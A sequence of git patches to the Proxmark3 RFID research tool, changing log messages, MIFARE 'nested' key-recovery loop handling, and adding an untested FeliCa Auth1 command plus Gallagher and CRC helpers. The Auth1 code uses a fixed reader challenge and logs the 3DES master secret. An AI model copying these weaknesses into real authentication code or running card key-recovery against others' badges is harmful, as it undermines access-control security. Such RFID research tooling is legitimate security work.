255"); + PrintAndLogEx(ERR, "divisor must be between" _YELLOW_("19") " and " _YELLOW_("255") ); return PM3_EINVARG; } // 12 000 000 (12MHz) clearCommandBuffer(); SendCommandNG(CMD_LF_SET_DIVISOR, (uint8_t *)&arg, sizeof(arg)); - PrintAndLogEx(SUCCESS, "Divisor set, expected %.1f kHz", ((double)12000 / (arg + 1))); + PrintAndLogEx(SUCCESS, "Divisor set, expected " _YELLOW_("%.1f")" kHz", ((double)12000 / (arg + 1))); return PM3_SUCCESS; } @@ -514,11 +514,11 @@ static int CmdStatus(const char *Cmd) { static int CmdTia(const char *Cmd) { (void)Cmd; // Cmd is not used so far clearCommandBuffer(); - PrintAndLogEx(INFO, "Triggering new Timing Interval Acquisition..."); + PrintAndLogEx(INFO, "Triggering new Timing Interval Acquisition (TIA)..."); PacketResponseNG resp; SendCommandNG(CMD_TIA, NULL, 0); if (WaitForResponseTimeout(CMD_TIA, &resp, 2000) == false) - PrintAndLogEx(WARNING, "Tia command failed. You probably need to unplug the Proxmark3."); + PrintAndLogEx(WARNING, "TIA command failed. You probably need to unplug the Proxmark3."); PrintAndLogEx(INFO, "TIA done."); return PM3_SUCCESS; } @@ -528,7 +528,7 @@ static int CmdPing(const char *Cmd) { if (len > PM3_CMD_DATA_SIZE) len = PM3_CMD_DATA_SIZE; if (len) { - PrintAndLogEx(INFO, "Ping sent with payload len=%d", len); + PrintAndLogEx(INFO, "Ping sent with payload len = %d", len); } else { PrintAndLogEx(INFO, "Ping sent"); } @@ -702,26 +702,24 @@ void pm3_version(bool verbose, bool oneliner) { SendCommandNG(CMD_VERSION, NULL, 0); if (WaitForResponseTimeout(CMD_VERSION, &resp, 1000)) { - PrintAndLogEx(NORMAL, "\n" _BLUE_(" [ Proxmark3 RFID instrument ]") "\n"); - PrintAndLogEx(NORMAL, "\n [ CLIENT ]"); + PrintAndLogEx(NORMAL, "\n " _YELLOW_("[ Proxmark3 RFID instrument ]")); + PrintAndLogEx(NORMAL, "\n " _YELLOW_("[ CLIENT ]")); PrintAndLogEx(NORMAL, " client: RRG/Iceman"); // TODO version info? PrintAndLogEx(NORMAL, " compiled with " PM3CLIENTCOMPILER __VERSION__ PM3HOSTOS PM3HOSTARCH); -//#if PLATFORM == PM3RDV4 if (IfPm3Flash() == false && IfPm3Smartcard() == false && IfPm3FpcUsartHost() == false) { - PrintAndLogEx(NORMAL, "\n [ PROXMARK3 ]"); + PrintAndLogEx(NORMAL, "\n " _YELLOW_("[ PROXMARK3 ]")); } else { - PrintAndLogEx(NORMAL, "\n [ PROXMARK3 RDV4 ]"); + PrintAndLogEx(NORMAL, "\n " _YELLOW_("[ PROXMARK3 RDV4 ]")); PrintAndLogEx(NORMAL, " external flash: %s", IfPm3Flash() ? _GREEN_("present") : _YELLOW_("absent")); PrintAndLogEx(NORMAL, " smartcard reader: %s", IfPm3Smartcard() ? _GREEN_("present") : _YELLOW_("absent")); - PrintAndLogEx(NORMAL, "\n [ PROXMARK3 RDV4 Extras ]"); + PrintAndLogEx(NORMAL, "\n " _YELLOW_("[ PROXMARK3 RDV4 Extras ]")); PrintAndLogEx(NORMAL, " FPC USART for BT add-on support: %s", IfPm3FpcUsartHost() ? _GREEN_("present") : _YELLOW_("absent")); if (IfPm3FpcUsartDevFromUsb()) { PrintAndLogEx(NORMAL, " FPC USART for developer support: %s", _GREEN_("present")); } } -//#endif PrintAndLogEx(NORMAL, ""); diff --git a/client/proxmark3.c b/client/proxmark3.c index 7cefc6638..c28a93396 100644 --- a/client/proxmark3.c +++ b/client/proxmark3.c @@ -33,14 +33,14 @@ static void showBanner(void) { PrintAndLogEx(NORMAL, "\n"); #if defined(__linux__) || (__APPLE__) || (_WIN32) - PrintAndLogEx(NORMAL, " " _BLUE_("██████╗ ███╗ ███╗ ████╗ ") " ...iceman repo"); + PrintAndLogEx(NORMAL, " " _BLUE_("██████╗ ███╗ ███╗ ████╗ ")); PrintAndLogEx(NORMAL, " " _BLUE_("██╔══██╗████╗ ████║ ══█║")); PrintAndLogEx(NORMAL, " " _BLUE_("██████╔╝██╔████╔██║ ████╔╝")); PrintAndLogEx(NORMAL, " " _BLUE_("██╔═══╝ ██║╚██╔╝██║ ══█║") " iceman@icesql.net"); PrintAndLogEx(NORMAL, " " _BLUE_("██║ ██║ ╚═╝ ██║ ████╔╝") " https://github.com/rfidresearchgroup/proxmark3/"); PrintAndLogEx(NORMAL, " " _BLUE_("╚═╝ ╚═╝ ╚═╝ ╚═══╝ ") "pre-release v4.0"); #else - PrintAndLogEx(NORMAL, " ======. ===. ===. ====. ...iceman repo"); + PrintAndLogEx(NORMAL, " ======. ===. ===. ====."); PrintAndLogEx(NORMAL, " ==...==.====. ====. ..=."); PrintAndLogEx(NORMAL, " ======..==.====.==. ====.."); PrintAndLogEx(NORMAL, " ==..... ==..==..==. ..=. iceman@icesql.net"); @@ -52,7 +52,6 @@ static void showBanner(void) { // printf("\nMonero: 43mNJLpgBVaTvyZmX9ajcohpvVkaRy1kbZPm8tqAb7itZgfuYecgkRF36rXrKFUkwEGeZedPsASRxgv4HPBHvJwyJdyvQuP"); PrintAndLogEx(NORMAL, ""); fflush(stdout); - g_printAndLog = PRINTANDLOG_PRINT | PRINTANDLOG_LOG; } From bd70689de23f44ec13fd4421bb6d6b75a2e6105b Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sat, 14 Dec 2019 12:45:07 +0100 Subject: [PATCH 077/418] hf mf nested: break bad loop if timeout (@uzlonewolf) --- armsrc/mifarecmd.c | 9 ++++++++- client/mifare/mifarehost.c | 6 ++++-- 2 files changed, 12 insertions(+), 3 deletions(-) diff --git a/armsrc/mifarecmd.c b/armsrc/mifarecmd.c index bb4fb343d..ea7e8482a 100644 --- a/armsrc/mifarecmd.c +++ b/armsrc/mifarecmd.c @@ -32,6 +32,7 @@ #include "crc16.h" #include "dbprint.h" #include "ticks.h" +#include "usb_cdc.h" // usb_poll_validate_length #ifndef HARDNESTED_AUTHENTICATION_TIMEOUT # define HARDNESTED_AUTHENTICATION_TIMEOUT 848 // card times out 1ms after wrong authentication (according to NXP documentation) @@ -918,7 +919,7 @@ void MifareNested(uint8_t blockNo, uint8_t keyType, uint8_t targetBlockNo, uint8 for (rtr = 0; rtr < 17; rtr++) { // Test if the action was cancelled - if (BUTTON_PRESS()) { + if (BUTTON_PRESS() || usb_poll_validate_length()) { isOK = -2; break; } @@ -998,6 +999,12 @@ void MifareNested(uint8_t blockNo, uint8_t keyType, uint8_t targetBlockNo, uint8 target_nt[i] = 0; while (target_nt[i] == 0) { // continue until we have an unambiguous nonce + // Test if the action was cancelled + if (BUTTON_PRESS() || usb_poll_validate_length()) { + isOK = -2; + break; + } + // prepare next select. No need to power down the card. if (mifare_classic_halt(pcs, cuid)) { if (DBGLEVEL >= DBG_INFO) Dbprintf("Nested: Halt error"); diff --git a/client/mifare/mifarehost.c b/client/mifare/mifarehost.c index e9baa7ee7..86676696d 100644 --- a/client/mifare/mifarehost.c +++ b/client/mifare/mifarehost.c @@ -24,7 +24,6 @@ #include "mfkey.h" #include "util_posix.h" // msclock - int mfDarkside(uint8_t blockno, uint8_t key_type, uint64_t *key) { uint32_t uid = 0; uint32_t nt = 0, nr = 0, ar = 0; @@ -361,7 +360,10 @@ int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, clearCommandBuffer(); SendCommandNG(CMD_HF_MIFARE_NESTED, (uint8_t *)&payload, sizeof(payload)); - if (!WaitForResponseTimeout(CMD_HF_MIFARE_NESTED, &resp, 1500)) return PM3_ETIMEOUT; + if (!WaitForResponseTimeout(CMD_HF_MIFARE_NESTED, &resp, 2000)) { + SendCommandNG(CMD_BREAK_LOOP, NULL, 0); + return PM3_ETIMEOUT; + } if (resp.status != PM3_SUCCESS) return PM3_ESOFT; From f4427b05b2f7bccf7a4f070307b4a79285c7b4a8 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sat, 14 Dec 2019 12:56:19 +0100 Subject: [PATCH 078/418] hf seach - textual --- client/cmdhf.c | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/client/cmdhf.c b/client/cmdhf.c index 7a1aaa868..06ad64317 100644 --- a/client/cmdhf.c +++ b/client/cmdhf.c @@ -77,7 +77,7 @@ int CmdHFSearch(const char *Cmd) { char cmdp = tolower(param_getchar(Cmd, 0)); if (cmdp == 'h') return usage_hf_search(); - PrintAndLogEx(INFO, "Checking for known tags...\n"); + PrintAndLogEx(INFO, "Checking for known tags..."); PROMPT_CLEARLINE; PrintAndLogEx(INPLACE, "Searching for ThinFilm tag..."); @@ -152,8 +152,10 @@ int CmdHFSearch(const char *Cmd) { } } - PrintAndLogEx(INPLACE, "No known/supported 13.56 MHz tags found"); + PROMPT_CLEARLINE; + PrintAndLogEx(INPLACE, "done"); PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(FAILED, _RED_("No known/supported 13.56 MHz tags found")); return PM3_ESOFT; } @@ -163,7 +165,7 @@ int CmdHFTune(const char *Cmd) { int iter = param_get32ex(Cmd, 0, 0, 10); PacketResponseNG resp; - PrintAndLogEx(SUCCESS, "Measuring HF antenna, click button or press Enter to exit"); + PrintAndLogEx(SUCCESS, "Measuring HF antenna," _YELLOW_("click button") " or press" _YELLOW_("Enter") "to exit"); clearCommandBuffer(); uint8_t mode[] = {1}; SendCommandNG(CMD_MEASURE_ANTENNA_TUNING_HF, mode, sizeof(mode)); From 8e45e0e56bd7e4953300b3ef2f6d9ee3add7063b Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sat, 14 Dec 2019 12:57:25 +0100 Subject: [PATCH 079/418] textual --- client/cmdlf.c | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/client/cmdlf.c b/client/cmdlf.c index 236bfc526..7c454a7a0 100644 --- a/client/cmdlf.c +++ b/client/cmdlf.c @@ -798,7 +798,7 @@ int CmdLFfskSim(const char *Cmd) { size_t size = DemodBufferLen; if (size > (PM3_CMD_DATA_SIZE - sizeof(lf_fsksim_t))) { - PrintAndLogEx(NORMAL, "DemodBuffer too long for current implementation - length: %zu - max: %zu", size, PM3_CMD_DATA_SIZE - sizeof(lf_fsksim_t)); + PrintAndLogEx(WARNING, "DemodBuffer too long for current implementation - length: %zu - max: %zu", size, PM3_CMD_DATA_SIZE - sizeof(lf_fsksim_t)); size = PM3_CMD_DATA_SIZE - sizeof(lf_fsksim_t); } @@ -900,7 +900,7 @@ int CmdLFaskSim(const char *Cmd) { size_t size = DemodBufferLen; if (size > (PM3_CMD_DATA_SIZE - sizeof(lf_asksim_t))) { - PrintAndLogEx(NORMAL, "DemodBuffer too long for current implementation - length: %zu - max: %zu", size, PM3_CMD_DATA_SIZE - sizeof(lf_asksim_t)); + PrintAndLogEx(WARNING, "DemodBuffer too long for current implementation - length: %zu - max: %zu", size, PM3_CMD_DATA_SIZE - sizeof(lf_asksim_t)); size = PM3_CMD_DATA_SIZE - sizeof(lf_asksim_t); } @@ -993,13 +993,13 @@ int CmdLFpskSim(const char *Cmd) { if (errors) return usage_lf_simpsk(); if (dataLen == 0) { //using DemodBuffer - PrintAndLogEx(NORMAL, "Getting Clocks"); + PrintAndLogEx(INFO, "Getting Clocks"); if (clk == 0) clk = GetPskClock("", false); - PrintAndLogEx(NORMAL, "clk: %d", clk); + PrintAndLogEx(INFO, "clk: %d", clk); if (!carrier) carrier = GetPskCarrier("", false); - PrintAndLogEx(NORMAL, "carrier: %d", carrier); + PrintAndLogEx(INFO, "carrier: %d", carrier); } else { setDemodBuff(data, dataLen, 0); @@ -1015,12 +1015,12 @@ int CmdLFpskSim(const char *Cmd) { //need to convert psk2 to psk1 data before sim psk2TOpsk1(DemodBuffer, DemodBufferLen); } else { - PrintAndLogEx(NORMAL, "Sorry, PSK3 not yet available"); + PrintAndLogEx(WARNING, "Sorry, PSK3 not yet available"); } } size_t size = DemodBufferLen; if (size > (PM3_CMD_DATA_SIZE - sizeof(lf_psksim_t))) { - PrintAndLogEx(NORMAL, "DemodBuffer too long for current implementation - length: %zu - max: %zu", size, PM3_CMD_DATA_SIZE - sizeof(lf_psksim_t)); + PrintAndLogEx(WARNING, "DemodBuffer too long for current implementation - length: %zu - max: %zu", size, PM3_CMD_DATA_SIZE - sizeof(lf_psksim_t)); size = PM3_CMD_DATA_SIZE - sizeof(lf_psksim_t); } From 3f3366429ff2e0c608b1a57de9ffb03e1a8d6691 Mon Sep 17 00:00:00 2001 From: Thomas Sutter Date: Mon, 16 Dec 2019 11:06:48 +0100 Subject: [PATCH 080/418] Add Auth1 Command (Alpha). Untested. --- client/cmdhffelica.c | 151 ++++++++++++++++++++++++++++++++++++++++--- 1 file changed, 143 insertions(+), 8 deletions(-) diff --git a/client/cmdhffelica.c b/client/cmdhffelica.c index fe11d4c60..8c8b83b89 100644 --- a/client/cmdhffelica.c +++ b/client/cmdhffelica.c @@ -22,6 +22,7 @@ #include "util.h" #include "ui.h" #include "mifare.h" // felica_card_select_t struct +#include "mbedtls/des.h" #define AddCrc(data, len) compute_crc(CRC_FELICA, (data), (len), (data)+(len)+1, (data)+(len)) static int CmdHelp(const char *Cmd); @@ -282,6 +283,34 @@ static int usage_hf_felica_request_specification_version() { return PM3_SUCCESS; } +static int usage_hf_felica_authentication1() { + PrintAndLogEx(NORMAL, "\nInfo: Initiate mutual authentication. This command must always be executed before Authentication2 command" + ", and mutual authentication is achieve only after Authentication2 command has succeeded."); + PrintAndLogEx(NORMAL, " - Auth1 Parameters:"); + PrintAndLogEx(NORMAL, " - Number of Areas n: 1-byte (1 <= n <= 8)"); + PrintAndLogEx(NORMAL, " - Area Code List: 2n byte"); + PrintAndLogEx(NORMAL, " - Number of Services m: 1-byte (1 <= n <= 8)"); + PrintAndLogEx(NORMAL, " - Service Code List: 2n byte"); + PrintAndLogEx(NORMAL, " - 3DES-Key: 128-bit master secret used for the encryption"); + PrintAndLogEx(NORMAL, " - M1c: Encrypted random number (challenge for tag authentication) 8-byte"); + PrintAndLogEx(NORMAL, " - Response:"); + PrintAndLogEx(NORMAL, " - Response Code: 11h 1-byte"); + PrintAndLogEx(NORMAL, " - Manufacture ID(IDm): 8-byte"); + PrintAndLogEx(NORMAL, " - M2c: 8-byte"); + PrintAndLogEx(NORMAL, " - M3c: 8-byte"); + PrintAndLogEx(NORMAL, " - Success: Card Mode switches to Mode1. You can check this with the request response command."); + PrintAndLogEx(NORMAL, " - Unsuccessful: Card should not respond at all."); + + PrintAndLogEx(NORMAL, "\nUsage: hf felica auth1 [-h][-i] <01 Number of Areas hex> <0A0B... Area Code List hex> <01 Number of Services hex> <0A0B... Service Code List hex> <0x0102030405060809 3DES-key hex (128bit)>"); + PrintAndLogEx(NORMAL, " -h this help"); + PrintAndLogEx(NORMAL, " -i <0A0B0C ... hex> set custom IDm to use"); + PrintAndLogEx(NORMAL, "\nExamples: "); + PrintAndLogEx(NORMAL, " hf felica auth1 01 0000 01 8B00 FFFFFFFFFFFFFFFF "); + PrintAndLogEx(NORMAL, " hf felica auth1 01 0000 01 8B00 FFFFFFFFAAAAAAAAFFFFFFFF "); + PrintAndLogEx(NORMAL, " hf felica auth1 -i 11100910C11BC407 01 0000 01 8B00 FFFFFFFFFFFFFFFF\n\n"); + return PM3_SUCCESS; +} + /** * Wait for response from pm3 or timeout. * Checks if receveid bytes have a valid CRC. @@ -371,7 +400,7 @@ static void clear_and_send_command(uint8_t flags, uint16_t datalen, uint8_t *dat uint16_t numbits = 0; clearCommandBuffer(); if (verbose) { - PrintAndLogEx(NORMAL, "Send Service Request Frame: %s", sprint_hex(data, datalen)); + PrintAndLogEx(NORMAL, "Send RAW COMMAND - Frame: %s", sprint_hex(data, datalen)); } SendCommandMIX(CMD_HF_FELICA_COMMAND, flags, (datalen & 0xFFFF) | (uint32_t)(numbits << 16), 0, data, datalen); } @@ -501,6 +530,115 @@ int send_wr_unencrypted(uint8_t flags, uint16_t datalen, uint8_t *data, bool ver } } +/** + * Command parser for auth1 + * @param Cmd input data of the user. + * @return client result code. + */ +static int CmdHFFelicaAuthentication1(const char *Cmd) { + if (strlen(Cmd) < 4){ + return usage_hf_felica_authentication1(); + } + uint8_t data[PM3_CMD_DATA_SIZE]; + bool custom_IDm = false; + strip_cmds(Cmd); + uint16_t datalen = 24; // Length (1), Command ID (1), IDm (8), Number of Area (1), Area Code List (2), Number of Service (1), Service Code List (2), M1c (8) + uint8_t paramCount = 0; + uint8_t flags = 0; + int i = 0; + while (Cmd[i] != '\0') { + if (Cmd[i] == '-') { + switch (Cmd[i + 1]) { + case 'H': + case 'h': + return usage_hf_felica_authentication1(); + case 'i': + paramCount++; + custom_IDm = true; + if (!add_param(Cmd, paramCount, data, 2, 16)) { + return PM3_EINVARG; + } + paramCount++; + i += 16; + break; + default: + return usage_hf_felica_authentication1(); + } + } + i++; + } + data[0] = int_to_hex(&datalen); + data[1] = 0x10; // Command ID + if (!custom_IDm && !check_last_idm(data, datalen)) { + return PM3_EINVARG; + } + // Number of Area (1), Area Code List (2), Number of Service (1), Service Code List (2), M1c (8) + uint8_t lengths[] = {2, 4, 2, 4}; + uint8_t dataPositions[] = {10, 11, 13, 14}; + for (int i = 0; i < 4; i++) { + if (add_param(Cmd, paramCount, data, dataPositions[i], lengths[i])) { + paramCount++; + } else { + return PM3_EINVARG; + } + } + + // READER CHALLENGE - (RANDOM To Encrypt) + unsigned char input[8]; + input[0] = 0x1; + input[1] = 0x2; + input[2] = 0x3; + input[3] = 0x4; + input[4] = 0x5; + input[5] = 0x6; + input[6] = 0x7; + input[7] = 0x8; + unsigned char output[8]; + // Create M1c Challenge with 3DES (3 Keys = 24, 2 Keys = 16) + uint8_t master_key[PM3_CMD_DATA_SIZE]; + mbedtls_des3_context des3_ctx; + mbedtls_des3_init(&des3_ctx); + if(param_getlength(Cmd, paramCount) == 24){ + param_gethex(Cmd, paramCount, master_key, 24); + mbedtls_des3_set3key_enc(&des3_ctx, master_key); + PrintAndLogEx(NORMAL, "3DES Master Secret: %s", sprint_hex(master_key, 12)); + } + else if (param_getlength(Cmd, paramCount) == 16) { + param_gethex(Cmd, paramCount, master_key, 16); + mbedtls_des3_set2key_enc(&des3_ctx, master_key); + PrintAndLogEx(NORMAL, "3DES Master Secret: %s", sprint_hex(master_key, 8)); + }else{ + PrintAndLogEx(ERR, "Invalid Key length"); + return PM3_EINVARG; + } + + mbedtls_des3_crypt_ecb(&des3_ctx, input, output); + PrintAndLogEx(NORMAL, "3DES ENCRYPTED M1c: %s", sprint_hex(output, 8)); + // Add M1c Challenge to frame + int frame_position = 16; + for(int i=0; i < 8; i++){ + data[frame_position++] = output[i]; + } + + AddCrc(data, datalen); + datalen += 2; + flags |= FELICA_APPEND_CRC; + flags |= FELICA_RAW; + + PrintAndLogEx(NORMAL, "Client Send AUTH1 Frame: %s", sprint_hex(data, datalen)); + clear_and_send_command(flags, datalen, data, 0); + + PacketResponseNG resp; + if (!waitCmdFelica(0, &resp, 1)) { + PrintAndLogEx(ERR, "\nGot no Response from card"); + return PM3_ERFTRANS; + } else { + PrintAndLogEx(NORMAL, "AUTH1 SUCCESS!"); + PrintAndLogEx(NORMAL, "%s", sprint_hex(resp.data.asBytes, 256)); + } + return PM3_SUCCESS; +} + /** * Command parser for wrunencrypted. * @param Cmd input data of the user. @@ -895,8 +1033,6 @@ static int CmdHFFelicaResetMode(const char *Cmd) { return PM3_SUCCESS; } - - /** * Command parser for rqsyscode * @param Cmd input data of the user. @@ -1012,11 +1148,10 @@ static int CmdHFFelicaRequestService(const char *Cmd) { } } - // Node Code List if (param_getlength(Cmd, paramCount) == 4) { param_gethex(Cmd, paramCount++, data + 11, 4); } else { - PrintAndLogEx(ERR, "Incorrect Node Code List length!"); + PrintAndLogEx(ERR, "Incorrect Parameter length!"); return PM3_EINVARG; } @@ -1521,9 +1656,9 @@ static command_t CommandTable[] = { {"wrunencrypted", CmdHFFelicaWriteWithoutEncryption, IfPm3Felica, "write Block Data to an authentication-not-required Service."}, {"scsvcode", CmdHFFelicaNotImplementedYet, IfPm3Felica, "acquire Area Code and Service Code."}, {"rqsyscode", CmdHFFelicaRequestSystemCode, IfPm3Felica, "acquire System Code registered to the card."}, - //{"auth1", CmdHFFelicaNotImplementedYet, IfPm3Felica, "authenticate a card."}, - //{"auth2", CmdHFFelicaNotImplementedYet, IfPm3Felica, "allow a card to authenticate a Reader/Writer."}, - //{"read", CmdHFFelicaNotImplementedYet, IfPm3Felica, "read Block Data from authentication-required Service."}, + {"auth1", CmdHFFelicaAuthentication1, IfPm3Felica, "authenticate a card. Start mutual authentication with Auth1 (v1)"}, + {"auth2", CmdHFFelicaNotImplementedYet, IfPm3Felica, "allow a card to authenticate a Reader/Writer. Auth2 (v1)"}, + {"read", CmdHFFelicaNotImplementedYet, IfPm3Felica, "read Block Data from authentication-required Service."}, //{"write", CmdHFFelicaNotImplementedYet, IfPm3Felica, "write Block Data to an authentication-required Service."}, //{"scsvcodev2", CmdHFFelicaNotImplementedYet, IfPm3Felica, "verify the existence of Area or Service, and to acquire Key Version."}, //{"getsysstatus", CmdHFFelicaNotImplementedYet, IfPm3Felica, "acquire the setup information in System."}, From d1906aa03e008168db620f2bda6d6af8d2825430 Mon Sep 17 00:00:00 2001 From: Thomas Sutter Date: Mon, 16 Dec 2019 11:25:15 +0100 Subject: [PATCH 081/418] Change logs to info. Make style. --- client/cmdhffelica.c | 23 +++++++++++------------ client/cmdhw.c | 2 +- client/cmdlfnexwatch.c | 2 +- 3 files changed, 13 insertions(+), 14 deletions(-) diff --git a/client/cmdhffelica.c b/client/cmdhffelica.c index 5144902ad..99ca6194e 100644 --- a/client/cmdhffelica.c +++ b/client/cmdhffelica.c @@ -285,7 +285,7 @@ static int usage_hf_felica_request_specification_version() { static int usage_hf_felica_authentication1() { PrintAndLogEx(NORMAL, "\nInfo: Initiate mutual authentication. This command must always be executed before Authentication2 command" - ", and mutual authentication is achieve only after Authentication2 command has succeeded."); + ", and mutual authentication is achieve only after Authentication2 command has succeeded."); PrintAndLogEx(NORMAL, " - Auth1 Parameters:"); PrintAndLogEx(NORMAL, " - Number of Areas n: 1-byte (1 <= n <= 8)"); PrintAndLogEx(NORMAL, " - Area Code List: 2n byte"); @@ -536,7 +536,7 @@ int send_wr_unencrypted(uint8_t flags, uint16_t datalen, uint8_t *data, bool ver * @return client result code. */ static int CmdHFFelicaAuthentication1(const char *Cmd) { - if (strlen(Cmd) < 4){ + if (strlen(Cmd) < 4) { return usage_hf_felica_authentication1(); } uint8_t data[PM3_CMD_DATA_SIZE]; @@ -597,25 +597,24 @@ static int CmdHFFelicaAuthentication1(const char *Cmd) { uint8_t master_key[PM3_CMD_DATA_SIZE]; mbedtls_des3_context des3_ctx; mbedtls_des3_init(&des3_ctx); - if(param_getlength(Cmd, paramCount) == 24){ + if (param_getlength(Cmd, paramCount) == 24) { param_gethex(Cmd, paramCount, master_key, 24); mbedtls_des3_set3key_enc(&des3_ctx, master_key); - PrintAndLogEx(NORMAL, "3DES Master Secret: %s", sprint_hex(master_key, 12)); - } - else if (param_getlength(Cmd, paramCount) == 16) { + PrintAndLogEx(INFO, "3DES Master Secret: %s", sprint_hex(master_key, 12)); + } else if (param_getlength(Cmd, paramCount) == 16) { param_gethex(Cmd, paramCount, master_key, 16); mbedtls_des3_set2key_enc(&des3_ctx, master_key); - PrintAndLogEx(NORMAL, "3DES Master Secret: %s", sprint_hex(master_key, 8)); - }else{ - PrintAndLogEx(ERR, "Invalid Key length"); + PrintAndLogEx(INFO, "3DES Master Secret: %s", sprint_hex(master_key, 8)); + } else { + PrintAndLogEx(ERR, "Invalid key length"); return PM3_EINVARG; } mbedtls_des3_crypt_ecb(&des3_ctx, input, output); - PrintAndLogEx(NORMAL, "3DES ENCRYPTED M1c: %s", sprint_hex(output, 8)); + PrintAndLogEx(INFO, "3DES ENCRYPTED M1c: %s", sprint_hex(output, 8)); // Add M1c Challenge to frame int frame_position = 16; - for(int i=0; i < 8; i++){ + for (int i = 0; i < 8; i++) { data[frame_position++] = output[i]; } @@ -624,7 +623,7 @@ static int CmdHFFelicaAuthentication1(const char *Cmd) { flags |= FELICA_APPEND_CRC; flags |= FELICA_RAW; - PrintAndLogEx(NORMAL, "Client Send AUTH1 Frame: %s", sprint_hex(data, datalen)); + PrintAndLogEx(INFO, "Client Send AUTH1 Frame: %s", sprint_hex(data, datalen)); clear_and_send_command(flags, datalen, data, 0); PacketResponseNG resp; diff --git a/client/cmdhw.c b/client/cmdhw.c index 3c5e65f17..a35f15b5e 100644 --- a/client/cmdhw.c +++ b/client/cmdhw.c @@ -447,7 +447,7 @@ static int CmdSetDivisor(const char *Cmd) { uint8_t arg = param_get8ex(Cmd, 0, 95, 10); if (arg < 19) { - PrintAndLogEx(ERR, "divisor must be between" _YELLOW_("19") " and " _YELLOW_("255") ); + PrintAndLogEx(ERR, "divisor must be between" _YELLOW_("19") " and " _YELLOW_("255")); return PM3_EINVARG; } // 12 000 000 (12MHz) diff --git a/client/cmdlfnexwatch.c b/client/cmdlfnexwatch.c index 717bf2587..e30a37a80 100644 --- a/client/cmdlfnexwatch.c +++ b/client/cmdlfnexwatch.c @@ -81,7 +81,7 @@ static int CmdNexWatchDemod(const char *Cmd) { //checksum check (TBD) //output - PrintAndLogEx(SUCCESS, "NexWatch ID: " _YELLOW_("%"PRIu32) , ID); + PrintAndLogEx(SUCCESS, "NexWatch ID: " _YELLOW_("%"PRIu32), ID); if (invert) { PrintAndLogEx(INFO, "Had to Invert - probably NexKey"); for (size_t i = 0; i < size; i++) From 50d1dfea775c9220513070b567d9d1054ed93186 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 16 Dec 2019 13:26:13 +0100 Subject: [PATCH 082/418] add cardx crc skeleton, will need to adapt --- common/crc.c | 8 ++++++++ common/crc.h | 2 ++ 2 files changed, 10 insertions(+) diff --git a/common/crc.c b/common/crc.c index 0237fb36a..22bfad035 100644 --- a/common/crc.c +++ b/common/crc.c @@ -126,3 +126,11 @@ uint32_t CRC8Legic(uint8_t *buff, size_t size) { crc_update2(&crc, buff[i], 8); return reflect8(crc_finish(&crc)); } +// width=8 poly=0x107, init=0x2C refin=true refout=true xorout=0x0000 check=0 name="CRC-8/CARDX" +uint32_t CRC8Cardx(uint8_t *buff, size_t size) { + crc_t crc; + crc_init_ref(&crc, 8, 0x107, 0x2C, 0, true, true); + for (size_t i = 0; i < size; ++i) + crc_update2(&crc, buff[i], 8); + return crc_finish(&crc); +} diff --git a/common/crc.h b/common/crc.h index 6dcfe918f..772c278b8 100644 --- a/common/crc.h +++ b/common/crc.h @@ -73,4 +73,6 @@ uint32_t CRC4Legic(uint8_t *buff, size_t size); // Calculate CRC-8/Legic checksum uint32_t CRC8Legic(uint8_t *buff, size_t size); +// Calculate CRC-8/Cardx checksum +uint32_t CRC8Cardx(uint8_t *buff, size_t size); #endif /* __CRC_H */ From 6a21c780fa652f338c0755ee44b3c465f44a43ba Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 16 Dec 2019 13:51:10 +0100 Subject: [PATCH 083/418] chg: lf gallagher demod - using the research from Matt, @megabug, to get better support. WIP. --- client/cmdlfgallagher.c | 77 +++++++++++++++++++++++++++++++++-------- 1 file changed, 63 insertions(+), 14 deletions(-) diff --git a/client/cmdlfgallagher.c b/client/cmdlfgallagher.c index 9704afc60..4752343d5 100644 --- a/client/cmdlfgallagher.c +++ b/client/cmdlfgallagher.c @@ -12,7 +12,7 @@ #include "cmdlfgallagher.h" #include //tolower - +#include #include "commonutil.h" // ARRAYLEN #include "common.h" #include "cmdparser.h" // command_t @@ -23,6 +23,7 @@ #include "lfdemod.h" // preamble test #include "protocols.h" // t55xx defines #include "cmdlft55xx.h" // clone.. +#include "crc.h" // CRC8/Cardx static int CmdHelp(const char *Cmd); @@ -39,6 +40,32 @@ static int usage_lf_gallagher_clone(void) { return PM3_SUCCESS; } +static void descramble( uint8_t *arr, uint8_t len) { + + uint8_t lut[] = { + 0xa3, 0xb0, 0x80, 0xc6, 0xb2, 0xf4, 0x5c, 0x6c, 0x81, 0xf1, 0xbb, 0xeb, 0x55, 0x67, 0x3c, 0x05, + 0x1a, 0x0e, 0x61, 0xf6, 0x22, 0xce, 0xaa, 0x8f, 0xbd, 0x3b, 0x1f, 0x5e, 0x44, 0x04, 0x51, 0x2e, + 0x4d, 0x9a, 0x84, 0xea, 0xf8, 0x66, 0x74, 0x29, 0x7f, 0x70, 0xd8, 0x31, 0x7a, 0x6d, 0xa4, 0x00, + 0x82, 0xb9, 0x5f, 0xb4, 0x16, 0xab, 0xff, 0xc2, 0x39, 0xdc, 0x19, 0x65, 0x57, 0x7c, 0x20, 0xfa, + 0x5a, 0x49, 0x13, 0xd0, 0xfb, 0xa8, 0x91, 0x73, 0xb1, 0x33, 0x18, 0xbe, 0x21, 0x72, 0x48, 0xb6, + 0xdb, 0xa0, 0x5d, 0xcc, 0xe6, 0x17, 0x27, 0xe5, 0xd4, 0x53, 0x42, 0xf3, 0xdd, 0x7b, 0x24, 0xac, + 0x2b, 0x58, 0x1e, 0xa7, 0xe7, 0x86, 0x40, 0xd3, 0x98, 0x97, 0x71, 0xcb, 0x3a, 0x0f, 0x01, 0x9b, + 0x6e, 0x1b, 0xfc, 0x34, 0xa6, 0xda, 0x07, 0x0c, 0xae, 0x37, 0xca, 0x54, 0xfd, 0x26, 0xfe, 0x0a, + 0x45, 0xa2, 0x2a, 0xc4, 0x12, 0x0d, 0xf5, 0x4f, 0x69, 0xe0, 0x8a, 0x77, 0x60, 0x3f, 0x99, 0x95, + 0xd2, 0x38, 0x36, 0x62, 0xb7, 0x32, 